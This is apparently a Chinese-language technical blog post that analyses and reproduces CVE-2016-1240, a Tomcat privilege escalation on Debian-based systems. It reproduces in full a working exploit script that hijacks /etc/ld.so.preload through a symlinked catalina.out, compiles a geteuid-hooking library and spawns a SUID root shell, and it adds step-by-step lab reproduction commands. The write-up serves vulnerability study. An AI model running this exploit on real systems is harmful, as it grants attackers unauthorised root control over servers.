0x00 前言

2016-10-03号,在exploit-db上出了Apache Tomcat 8/7/6 (Debian-Based Distros) - Privilege Escalation,也就是CVE-2016-1240 ,基于Debain的Apache Tomcat权限提升,攻击者在获取到tomcatN的shell之后,可以利用Debain系统在使用package安装的tomcat的启动脚本/etc/init.d/tomcatN中的缺陷,SUID的特性和对geteuid函数的覆盖,得到可使用的rootshell,达到提升权限的目的。本文将会对exploit脚本进行分析,并搭建环境加以复现

0x01 脚本缺陷

以tomcat7为例,在init脚本/etc/init.d/tomcat7

# Run the catalina.sh script as a daemon

set +e
touch "$CATALINA_PID" "$CATALINA_BASE"/logs/catalina.out
chown $TOMCAT7_USER "$CATALINA_PID" "$CATALINA_BASE"/logs/catalina.out

这段脚本主要是root用户在touch了catalina.out文件后,再将文件的所有者改为tomcat7的用户。脚本看似没有什么问题,但是cve的作者提出这么一个场景:当攻击者以tomcat的身份访问服务器的时候(比如说拿下了tomcat服务器的webshell),他就可以将catalina.out替换成指向任意文件的动态链接(软链接),在服务器重启之后(当然,是需要创造这种机会的),init脚本再次以root权限运行,将动态链接所指向的文件的所有者改成了tomcat用户,这样攻击者就可以读写服务器上的任意文件了。正如长亭科技的文章所分析的,作者并不甘于单纯的文件操作,而是利用SUID和/etc/ld.so.preload的方法获取到root权限的shell

0x02 环境搭建

老生常谈的系统更新就不赘述了,我这里使用Ununtu14.04虚拟机和tomcat7进行测试。问题出现于package中的初始化脚本中,而脚本则是来源于安装时的deb包,虽然可以通过apt-get直接安装tomcat7,但是debian官方及时进行了修复,我们得去下载历史的deb包来安装服务复现环境。在snapshot上可以找到历史的deb包,这里我选择安装tomcat 7.0.14-1,过程如下

$ wget http://snapshot.debian.org/archive/debian/20110521T031913Z/pool/main/t/tomcat7/libservlet3.0-java-doc_7.0.14-1_all.deb
$ sudo dpkg -i libservlet3.0-java-doc_7.0.14-1_all.deb
$ sudo apt-get install libecj-java
$ wget http://snapshot.debian.org/archive/debian/20110521T031913Z/pool/main/t/tomcat7/libtomcat7-java_7.0.14-1_all.deb
$ sudo dpkg -i libtomcat7-java_7.0.14-1_all.deb
$ wget http://snapshot.debian.org/archive/debian/20110521T031913Z/pool/main/t/tomcat7/tomcat7-common_7.0.14-1_all.deb
$ sudo dpkg -i tomcat7-common_7.0.14-1_all.deb
$ wget http://snapshot.debian.org/archive/debian/20110521T031913Z/pool/main/t/tomcat7/tomcat7_7.0.14-1_all.deb
$ sudo dpkg -i tomcat7_7.0.14-1_all.deb

都是一些常规的依赖安装,安装好后cat -n /etc/init.d/tomcat7 | less就可看到存在缺陷的脚本片段了,但是在尝试启动tomcat的时候会报错* no JDK found - please set JAVA_HOME,起来也要安装jdk环境sudo apt-get install --no-install-recommends openjdk-7-jdk,再根据这里/etc/default/tomcat7中加入JAVA_HOME的环境变量JAVA_HOME=/usr/lib/jvm/java-7-openjdk-amd64,最后再重启一下tomcat就成功搭建起来了

服务起来后可以尝试一下长亭文章中的利用缺陷操作系统文件,这里就不多说了

0x03 脚本分析

为了方便说明,请允许我先把脚本贴过来

#!/bin/bash

#

# Tomcat 6/7/8 on Debian-based distros - Local Root Privilege Escalation Exploit

#

# CVE-2016-1240

#

# Discovered and coded by:

#

# Dawid Golunski

# http://legalhackers.com

#

# This exploit targets Tomcat (versions 6, 7 and 8) packaging on 

# Debian-based distros including Debian, Ubuntu etc.

# It allows attackers with a tomcat shell (e.g. obtained remotely through a 

# vulnerable java webapp, or locally via weak permissions on webapps in the 

# Tomcat webroot directories etc.) to escalate their privileges to root.

#

# Usage:

# ./tomcat-rootprivesc-deb.sh path_to_catalina.out [-deferred]

#

# The exploit can used in two ways:

#

# -active (assumed by default) - which waits for a Tomcat restart in a loop and instantly

# gains/executes a rootshell via ld.so.preload as soon as Tomcat service is restarted. 

# It also gives attacker a chance to execute: kill [tomcat-pid] command to force/speed up

# a Tomcat restart (done manually by an admin, or potentially by some tomcat service watchdog etc.)

#

# -deferred (requires the -deferred switch on argv[2]) - this mode symlinks the logfile to 

# /etc/default/locale and exits. It removes the need for the exploit to run in a loop waiting. 

# Attackers can come back at a later time and check on the /etc/default/locale file. Upon a 

# Tomcat restart / server reboot, the file should be owned by tomcat user. The attackers can

# then add arbitrary commands to the file which will be executed with root privileges by 

# the /etc/cron.daily/tomcatN logrotation cronjob (run daily around 6:25am on default 

# Ubuntu/Debian Tomcat installations).

#

# See full advisory for details at:

# http://legalhackers.com/advisories/Tomcat-DebPkgs-Root-Privilege-Escalation-Exploit-CVE-2016-1240.html

#

# Disclaimer:

# For testing purposes only. Do no harm.

#

 
BACKDOORSH="/bin/bash"
BACKDOORPATH="/tmp/tomcatrootsh"
PRIVESCLIB="/tmp/privesclib.so"
PRIVESCSRC="/tmp/privesclib.c"
SUIDBIN="/usr/bin/sudo"
 
function cleanexit {
    # Cleanup 

    echo -e "\n[+] Cleaning up..."
    rm -f $PRIVESCSRC
    rm -f $PRIVESCLIB
    rm -f $TOMCATLOG
    touch $TOMCATLOG
    if [ -f /etc/ld.so.preload ]; then
        echo -n > /etc/ld.so.preload 2>/dev/null
    fi
    echo -e "\n[+] Job done. Exiting with code $1 \n"
    exit $1
}
 
function ctrl_c() {
        echo -e "\n[+] Active exploitation aborted. Remember you can use -deferred switch for deferred exploitation."
    cleanexit 0
}
 
#intro 

echo -e "\033[94m \nTomcat 6/7/8 on Debian-based distros - Local Root Privilege Escalation Exploit\nCVE-2016-1240\n"
echo -e "Discovered and coded by: \n\nDawid Golunski \nhttp://legalhackers.com \033[0m"
 
# Args

if [ $# -lt 1 ]; then
    echo -e "\n[!] Exploit usage: \n\n$0 path_to_catalina.out [-deferred]\n"
    exit 3
fi
if [ "$2" = "-deferred" ]; then
    mode="deferred"
else
    mode="active"
fi
 
# Priv check

echo -e "\n[+] Starting the exploit in [\033[94m$mode\033[0m] mode with the following privileges: \n`id`"
id | grep -q tomcat
if [ $? -ne 0 ]; then
    echo -e "\n[!] You need to execute the exploit as tomcat user! Exiting.\n"
    exit 3
fi
 
# Set target paths

TOMCATLOG="$1"
if [ ! -f $TOMCATLOG ]; then
    echo -e "\n[!] The specified Tomcat catalina.out log ($TOMCATLOG) doesn't exist. Try again.\n"
    exit 3
fi
echo -e "\n[+] Target Tomcat log file set to $TOMCATLOG"
 
# [ Deferred exploitation ]

 
# Symlink the log file to /etc/default/locale file which gets executed daily on default

# tomcat installations on Debian/Ubuntu by the /etc/cron.daily/tomcatN logrotation cronjob around 6:25am.

# Attackers can freely add their commands to the /etc/default/locale script after Tomcat has been

# restarted and file owner gets changed.

if [ "$mode" = "deferred" ]; then
    rm -f $TOMCATLOG && ln -s /etc/default/locale $TOMCATLOG
    if [ $? -ne 0 ]; then
        echo -e "\n[!] Couldn't remove the $TOMCATLOG file or create a symlink."
        cleanexit 3
    fi
    echo -e  "\n[+] Symlink created at: \n`ls -l $TOMCATLOG`"
    echo -e  "\n[+] The current owner of the file is: \n`ls -l /etc/default/locale`"
    echo -ne "\n[+] Keep an eye on the owner change on /etc/default/locale . After the Tomcat restart / system reboot"
    echo -ne "\n    you'll be able to add arbitrary commands to the file which will get executed with root privileges"
    echo -ne "\n    at ~6:25am by the /etc/cron.daily/tomcatN log rotation cron. See also -active mode if you can't wait ;)\n\n"
    exit 0
fi
 
# [ Active exploitation ]

 
trap ctrl_c INT
# Compile privesc preload library

echo -e "\n[+] Compiling the privesc shared library ($PRIVESCSRC)"
cat <<_solibeof_>$PRIVESCSRC
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
#include <dlfcn.h>
uid_t geteuid(void) {
    static uid_t  (*old_geteuid)();
    old_geteuid = dlsym(RTLD_NEXT, "geteuid");
    if ( old_geteuid() == 0 ) {
        chown("$BACKDOORPATH", 0, 0);
        chmod("$BACKDOORPATH", 04777);
        unlink("/etc/ld.so.preload");
    }
    return old_geteuid();
}
_solibeof_
gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl
if [ $? -ne 0 ]; then
    echo -e "\n[!] Failed to compile the privesc lib $PRIVESCSRC."
    cleanexit 2;
fi
 
# Prepare backdoor shell

cp $BACKDOORSH $BACKDOORPATH
echo -e "\n[+] Backdoor/low-priv shell installed at: \n`ls -l $BACKDOORPATH`"
 
# Safety check

if [ -f /etc/ld.so.preload ]; then
    echo -e "\n[!] /etc/ld.so.preload already exists. Exiting for safety."
    cleanexit 2
fi
 
# Symlink the log file to ld.so.preload

rm -f $TOMCATLOG && ln -s /etc/ld.so.preload $TOMCATLOG
if [ $? -ne 0 ]; then
    echo -e "\n[!] Couldn't remove the $TOMCATLOG file or create a symlink."
    cleanexit 3
fi
echo -e "\n[+] Symlink created at: \n`ls -l $TOMCATLOG`"
 
# Wait for Tomcat to re-open the logs

echo -ne "\n[+] Waiting for Tomcat to re-open the logs/Tomcat service restart..."
echo -e  "\nYou could speed things up by executing : kill [Tomcat-pid] (as tomcat user) if needed ;)"
while :; do 
    sleep 0.1
    if [ -f /etc/ld.so.preload ]; then
        echo $PRIVESCLIB > /etc/ld.so.preload
        break;
    fi
done
 
# /etc/ld.so.preload file should be owned by tomcat user at this point

# Inject the privesc.so shared library to escalate privileges

echo $PRIVESCLIB > /etc/ld.so.preload
echo -e "\n[+] Tomcat restarted. The /etc/ld.so.preload file got created with tomcat privileges: \n`ls -l /etc/ld.so.preload`"
echo -e "\n[+] Adding $PRIVESCLIB shared lib to /etc/ld.so.preload"
echo -e "\n[+] The /etc/ld.so.preload file now contains: \n`cat /etc/ld.so.preload`"
 
# Escalating privileges via the SUID binary (e.g. /usr/bin/sudo)

echo -e "\n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!"
sudo --help 2>/dev/null >/dev/null
 
# Check for the rootshell

ls -l $BACKDOORPATH | grep rws | grep -q root
if [ $? -eq 0 ]; then 
    echo -e "\n[+] Rootshell got assigned root SUID perms at: \n`ls -l $BACKDOORPATH`"
    echo -e "\n\033[94mPlease tell me you're seeing this too ;) \033[0m"
else
    echo -e "\n[!] Failed to get root"
    cleanexit 2
fi
 
# Execute the rootshell

echo -e "\n[+] Executing the rootshell $BACKDOORPATH now! \n"
$BACKDOORPATH -p -c "rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB"
$BACKDOORPATH -p
 
# Job done.

cleanexit 0

首先是49到66行的cleanexit和ctrl_c函数负责在退出后环境的清理,直至原始的状态。从77到81行看出脚本接受catalina.out的路径和模式的选择,模式分为deferred和active模式,默认为active。83到97行则是检查是否为tomcat用户运行地脚本和对应路径的catalina.out文件是否存在。

如果设置了deferred参数则会进入105到117行的逻辑,该模式就是被动等待。首先删除catalina.out文件,再建立/etc/default/locale的软链接到catalina.out,等tomcat或系统重启后tomcat用户就可以变成/etc/default/locale的所有者,即可写入任意的命令,最后结合/etc/cron.daily/tomcatN中的计划任务的配置,在每天早上6:25利用root权限来执行写入的任意命令。

如果等不了的话可以进入active模式,121到155行是前期利用环境的准备。先说一下作者整体的利用思路:借助init脚本中的缺陷把/etc/ld.so.preload的所有者改为tomcat,而/etc/ld.so.preload和LD_PRELOAD的作用一样,我们将自定义的函数编译成so文件后再写入/etc/ld.so.preload中,即可完成对标准C函数的覆盖,进而实现我们想要的效果。

147到149行是先copy一个后面shell到/tmp目录下,不过权限还比较低。151到155行则是检查/etc/ld.so.preload存在,为了安全起见存在的话退出脚本。122到145行在编译/tmp/privesclib.so文件,覆盖掉标准的geteuid函数,在函数内部会检测程序的euid,当euid为0时也就是root权限运行时会将之前的后面shell改为root用户和root组,更改后门shell的权限并设置SUID,最后删除/etc/ld.so.preload文件。

这里需要补充一下SUID的知识:linux内核主要是根据euid和egid来确定进程对资源的访问权限的,当linux的二进制文件执行时,会使用geteuid函数来获得euid。一个进程如果没有SUID或SGID位,则euid=uid egid=gid;如果一个程序设置了SUID,则euid和egid变成被运行的程序的所有者的uid和gid。也就是说其他人运行了设置有SUID的程序,则该程序会以程序所有者的身份被运行,我们的passwd程序就是这样的一个例子。(更多相关参考可以看这里)如果成功执行了我们覆盖的geteuid函数,后门shell的权限则会变成rws,当任何人运行该shell时,shell都会以root的身份被执行,我们的权限也就提升了。

下面就需要创造调用覆盖函数的机会。158到174行利用缺陷,在等待tomcat或主机重启后将/etc/ld.so.preload的所有者改为tomcat用户,然后向其中写入我们之前编译的/tmp/privesclib.so文件。最后调用sudo程序,因为sudo的权限为rws所有者为root,所以在调用过程中euid是为0的,我们的覆盖函数就发挥的作用,更改后门shell的权限。187到203行则是检测后门shell的权限是否更改成功并且调用,这样整个权限提升的过程就完成了。

0x04 漏洞复现

直接下载作者提供的脚本还不能用,需要编辑一下,而且编译环境需要gcc,具体如下:

$ sudo apt-get install gcc
$ wget https://www.exploit-db.com/download/40450
$ sed -n '93, 296p' 40450 > exploit.sh
$ chmod 777 exploit.sh
$ sudo apt-get install dos2unix
$ dos2unix exploit.sh

为了模拟攻击者拿到了tomcat的shell和创造机会使tomcat重启,我将tomcat的shell设置了一下,并且使用sleep将重启服务后置几秒然后运行攻击脚本,具体如下:

$ sudo usermod -s /bin/bash tomcat7
$ sleep 20 && sudo service tomcat7 restart &
$ sudo su tomcat -c "/bin/bash exploit.sh /var/log/tomcat7/catalina.out"

CVE-2016-5425

10月10号freebuf上有一篇文章通报本文所述的漏洞,然后就有人评论说“还是我fedora小白鼠闷声发大财.”。然而CVE的作者也在10月10号提交了Apache Tomcat 8/7/6 (RedHat-Based Distros) - Privilege Escalation,也就是CVE-2016-5425,影响所有基于RedHat的发行版本,当然fedora也包含在内,想一想也是蛮搞笑的单纯。这个漏洞依旧是安装包中文件权限设置不当,使得tomcat组对/usr/lib/tmpfiles.d/tomcat.conf有写权限,因此可对该文件写入相应的指令,一旦主机重启就会以root权限执行写入的命令,即可反弹shell也可留下后面,更多的内容见这里

这两次CVE的成功都是建立在主机重启之后,在主机down掉时我们该去排查相应的原因,而不是盲目的重启。当我们的生活因为某种原因down掉时,是不是应该去反省一下自己寻找原因,而不是随意排解后的无脑前行。你愿意被生活exploit吗?